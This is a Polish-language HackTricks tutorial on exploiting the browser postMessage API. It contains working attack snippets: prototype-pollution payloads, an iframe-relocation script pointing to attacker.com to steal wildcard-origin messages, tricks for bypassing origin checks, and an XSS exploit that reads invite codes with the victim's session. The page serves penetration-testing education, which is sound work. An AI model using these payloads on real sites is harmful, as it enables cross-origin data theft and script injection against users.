PostMessage Vulnerabilities

Luki PostMessage

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


Wyślij PostMessage

PostMessage używa następującej funkcji do wysyłania wiadomości:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Zauważ, że targetOrigin może być '*' lub adresem URL, na przykład https://company.com. W drugim scenariuszu wiadomość może być wysłana tylko do tej domeny (nawet jeśli pochodzenie obiektu okna jest inne). Jeśli używany jest znak wieloznaczny, wiadomości mogą być wysyłane do dowolnej domeny, i zostaną wysłane do pochodzenia obiektu okna.

Atakowanie iframe i znaku wieloznacznego w targetOrigin

Jak wyjaśniono w tym raporcie, jeśli znajdziesz stronę, która może być osadzona w iframe (bez ochrony X-Frame-Header) i która wysyła wrażliwą wiadomość za pomocą postMessage używając znaku wieloznacznego (*), możesz zmodyfikować pochodzenie iframe i ujawnić wrażliwą wiadomość do domeny kontrolowanej przez ciebie. Zauważ, że jeśli strona może być osadzona w iframe, ale targetOrigin jest ustawiony na adres URL, a nie na znak wieloznaczny, ten sztuczka nie zadziała.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Wykorzystanie addEventListener

addEventListener to funkcja używana przez JS do zadeklarowania funkcji, która oczekuje na postMessages. Zostanie użyty kod podobny do poniższego:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Zauważ w tym przypadku, jak pierwszą rzeczą, którą robi kod, jest sprawdzenie pochodzenia. Jest to niezwykle ważne, głównie jeśli strona ma wykonać jakiekolwiek czynności wrażliwe z otrzymanymi informacjami (np. zmiana hasła). Jeśli nie sprawdzi pochodzenia, atakujący mogą zmusić ofiary do wysłania dowolnych danych do tych punktów końcowych i zmienić hasła ofiar (w tym przykładzie).

Wyliczanie

Aby znaleźć nasłuchiwaczy zdarzeń na bieżącej stronie, można:

  • Przeszukać kod JS w poszukiwaniu window.addEventListener i $(window).on (wersja JQuery)

  • Wykonać w konsoli narzędzi deweloperskich: getEventListeners(window)

  • Przejdź do Elementy --> Nasłuchiwacze zdarzeń w narzędziach deweloperskich przeglądarki

Ominięcia sprawdzania pochodzenia

  • Atrybut event.isTrusted jest uważany za bezpieczny, ponieważ zwraca True tylko dla zdarzeń generowanych przez autentyczne działania użytkownika. Chociaż jego poprawne zaimplementowanie może być wyzwaniem do ominięcia, jego znaczenie w kontekście kontroli bezpieczeństwa jest znaczące.

  • Użycie indexOf() do walidacji pochodzenia w zdarzeniach PostMessage może być podatne na ominięcie. Przykład ilustrujący tę podatność to:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Metoda search() z String.prototype.search() jest przeznaczona do wyrażeń regularnych, a nie do ciągów znaków. Przekazanie czegokolwiek innego niż wyrażenie regularne prowadzi do konwersji domyślnej na wyrażenie regularne, co może sprawić, że metoda będzie potencjalnie nieskuteczna. Dzieje się tak, ponieważ w wyrażeniach regularnych kropka (.) działa jako symbol wieloznaczny, umożliwiając ominięcie walidacji przy specjalnie spreparowanych domenach. Na przykład:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • Funkcja match(), podobnie jak search(), przetwarza wyrażenia regularne. Jeśli wyrażenie regularne jest nieprawidłowo zbudowane, może być podatne na ominięcie.

  • Funkcja escapeHtml ma na celu oczyszczenie wejść poprzez unikanie znaków. Jednakże nie tworzy nowego obiektu unikniętego, ale nadpisuje właściwości istniejącego obiektu. To zachowanie może być wykorzystane. W szczególności, jeśli obiekt można manipulować w taki sposób, że jego kontrolowana właściwość nie uznaje hasOwnProperty, escapeHtml nie będzie działać zgodnie z oczekiwaniami. Przedstawia to poniższe przykłady:

  • Oczekiwane niepowodzenie:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Ominięcie unikania:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

W kontekście tej podatności obiekt File jest szczególnie podatny ze względu na swoją tylko do odczytu właściwość name. Ta właściwość, gdy używana w szablonach, nie jest oczyszczana przez funkcję escapeHtml, co prowadzi do potencjalnych zagrożeń dla bezpieczeństwa.

  • Właściwość document.domain w JavaScript może być ustawiona przez skrypt w celu skrócenia domeny, co pozwala na bardziej elastyczną egzekucję polityki tego samego pochodzenia w obrębie tej samej domeny nadrzędnej.

Ominięcie e.origin == window.origin

Podczas osadzania strony internetowej w zabezpieczonym iframe za pomocą %%%%%%, istotne jest zrozumienie, że pochodzenie ramki iframe zostanie ustawione na null. Jest to szczególnie istotne przy korzystaniu z atrybutów sandbox i ich wpływu na bezpieczeństwo i funkcjonalność.

Poprzez określenie allow-popups w atrybucie sandbox, każde okno popup otwarte z ramki iframe dziedziczy ograniczenia sandboxa swojego rodzica. Oznacza to, że chyba że atrybut allow-popups-to-escape-sandbox jest również uwzględniony, pochodzenie okna popup jest również ustawione na null, zgodnie z pochodzeniem ramki iframe.

W rezultacie, gdy otwarte są okna popup w tych warunkach i wiadomość jest wysyłana z ramki iframe do okna popup za pomocą postMessage, zarówno nadawca, jak i odbiorca mają swoje pochodzenia ustawione na null. Ta sytuacja prowadzi do scenariusza, w którym e.origin == window.origin jest prawdziwe (null == null), ponieważ zarówno ramka iframe, jak i okno popup mają taką samą wartość pochodzenia null.

Aby uzyskać więcej informacji, przeczytaj:

pageBypassing SOP with Iframes - 1

Ominięcie e.source

Możliwe jest sprawdzenie, czy wiadomość pochodzi z tego samego okna, na którym skrypt nasłuchuje (szczególnie interesujące dla Skryptów zawartości z rozszerzeń przeglądarki w celu sprawdzenia, czy wiadomość została wysłana z tej samej strony):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Możesz wymusić, aby e.source wiadomości było nullem, tworząc iframe, który wysyła postMessage i jest natychmiast usuwany.

Po więcej informacji czytaj:

pageBypassing SOP with Iframes - 2

Ominięcie nagłówka X-Frame

Aby przeprowadzić te ataki, idealnie byłoby umieścić stronę ofiary w iframe. Jednak niektóre nagłówki, takie jak X-Frame-Header, mogą zapobiec temu zachowaniu. W takich scenariuszach nadal można użyć mniej dyskretnego ataku. Można otworzyć nową kartę do podatnej aplikacji internetowej i komunikować się z nią:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Kradzież wiadomości wysłanej do dziecka poprzez zablokowanie głównej strony

Na poniższej stronie możesz zobaczyć, jak można ukraść wrażliwe dane postmessage wysłane do dziecięcego iframe'a, blokując główną stronę przed wysłaniem danych i wykorzystując XSS w dziecku, aby wyciec dane przed ich otrzymaniem:

pageBlocking main page to steal postmessage

Kradzież wiadomości poprzez modyfikację lokalizacji iframe'a

Jeśli możesz osadzić stronę internetową za pomocą nagłówka X-Frame-Options, która zawiera inne iframe, możesz zmienić lokalizację tego dziecinnego iframe'a, więc jeśli odbiera on postmessage wysłane za pomocą gwiazdki, atakujący może zmienić pochodzenie tego iframe'a na stronę kontrolowaną przez siebie i ukraść wiadomość:

pageSteal postmessage modifying iframe location

postMessage do zanieczyszczenia prototypu i/lub XSS

W przypadkach, gdy dane wysyłane za pomocą postMessage są wykonywane przez JS, możesz osadzić stronę i wykorzystać zanieczyszczenie prototypu/XSS, wysyłając exploit za pomocą postMessage.

Kilka bardzo dobrze wyjaśnionych XSS poprzez postMessage można znaleźć pod adresem https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Przykład wykorzystania do nadużycia zanieczyszczenia prototypu, a następnie XSS za pomocą postMessage do iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Dla więcej informacji:

Referencje

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated